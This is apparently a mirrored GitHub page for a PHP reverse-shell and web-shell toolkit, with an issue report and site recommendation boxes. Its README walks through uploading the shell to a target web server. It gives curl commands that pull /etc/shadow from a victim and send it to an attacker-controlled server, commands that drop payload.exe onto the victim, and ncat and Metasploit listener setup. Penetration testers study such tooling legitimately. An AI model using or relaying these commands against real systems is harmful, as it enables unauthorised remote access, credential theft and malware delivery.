Giter VIP home page Giter VIP logo

ivan-sincek / php-reverse-shell Goto Github PK

View Code? Open in Web Editor NEW
423.0 4.0 146.0 473 KB

PHP shells that work on Linux OS, macOS, and Windows OS.

License: GNU General Public License v2.0

PHP 100.00%
php reverse-tcp reverse-shell networking ethical-hacking security offensive-security windows linux macos oscp web-shell red-team-engagement penetration-testing web web-penetration-testing tcp bind-shell bind-tcp

php-reverse-shell's Introduction

PHP Reverse Shell

Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author!

Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect the underlying OS.

Works with both, ncat and multi/handler.

Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit).

Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit).

Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit).

In addition, everything was tested on Docker images nouphet/docker-php4 with PHP v4.4.0 and steeze/php52-nginx with PHP v5.2.17.

Made for educational purposes. I hope it will help!

Process pipes on Windows OS do not support asynchronous operations so stream_set_blocking(), stream_select(), and feof() will not work properly, but I found a workaround.

Table of Contents

Reverse Shells

/src/reverse/php_reverse_shell.php requires PHP v5.0.0 or greater.

/src/reverse/php_reverse_shell_older.php requires PHP v4.3.0 or greater.

Change the IP address and port number inside the scripts as necessary.

Copy /src/reverse/php_reverse_shell.php to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server.

Navigate to the file with your preferred web browser.

Web Shells

Check the simple PHP web shell based on HTTP POST request.

Check the simple PHP web shell based on HTTP GET request. You must URL encode your commands.

Check the simple PHP web shell v2 based on HTTP GET request. You must URL encode your commands.

Find out more about PHP obfuscation techniques for old versions of PHP at lcatro/PHP-WebShell-Bypass-WAF. Credits to the author!

File Upload/Download Script

Check the simple PHP file upload/download script based on HTTP POST request for file upload and HTTP GET request for file download.

When downloading a file, you must URL encode the file path, and don't forget to specify the output file if using cURL.

When uploading a file, don't forget to specify @ before the file path.

Depending on the server configuration, downloading a file through HTTP GET request parameter might not always work, instead, you will have to hardcore the file path in the script.

Case 1: Upload the Script to the Victim’s Server

Navigate to the script on the victim's web server with your preferred web browser, or use cURL from you PC.

Upload a file to the server's web root directory from your PC:

curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe

Download a file from the server to your PC:

curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow

If you elevated your initial privileges within your reverse shell, this script might not have the same privileges as the shell. In that case, to download a certain file, you might need to copy the file to the web root directory and set the necessary read permissions.

Case 2: Upload the Script to Your Server

From your PHP reverse shell, run the following cURL commands.

Upload a file from the victim's PC to your server's web root directory:

curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow

Download a file from your server's web root directory to the victim's PC:

curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe

curl -skL -X GET https://my-server.com/payload.exe -o payload.exe

Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up ncat listener:

ncat -nvlp 9000

Set up multi/handler listener:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Images

Ncat

Figure 1 - Ncat

Script Dump

Figure 2 - Script's Dump

php-reverse-shell's People

Contributors

ivan-sincek avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

php-reverse-shell's Issues

Does Not Work on Older Versions

First, you have syntax error:
$size = fstat($input)['size'];
This code not alloved in PHP 4, need use somethig like:

$fstat_input = fstat($input);
$size = $fstat_input['size'];

And if u fix it in all code syntax be correct. But not work! Im tested on two docker with php4 (misryan/php4 and nouphet/docker-php4) and get error:

AEMONIZE: pcntl_fork() does not exists, moving on...
PROC_ERROR: Cannot start the shell

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.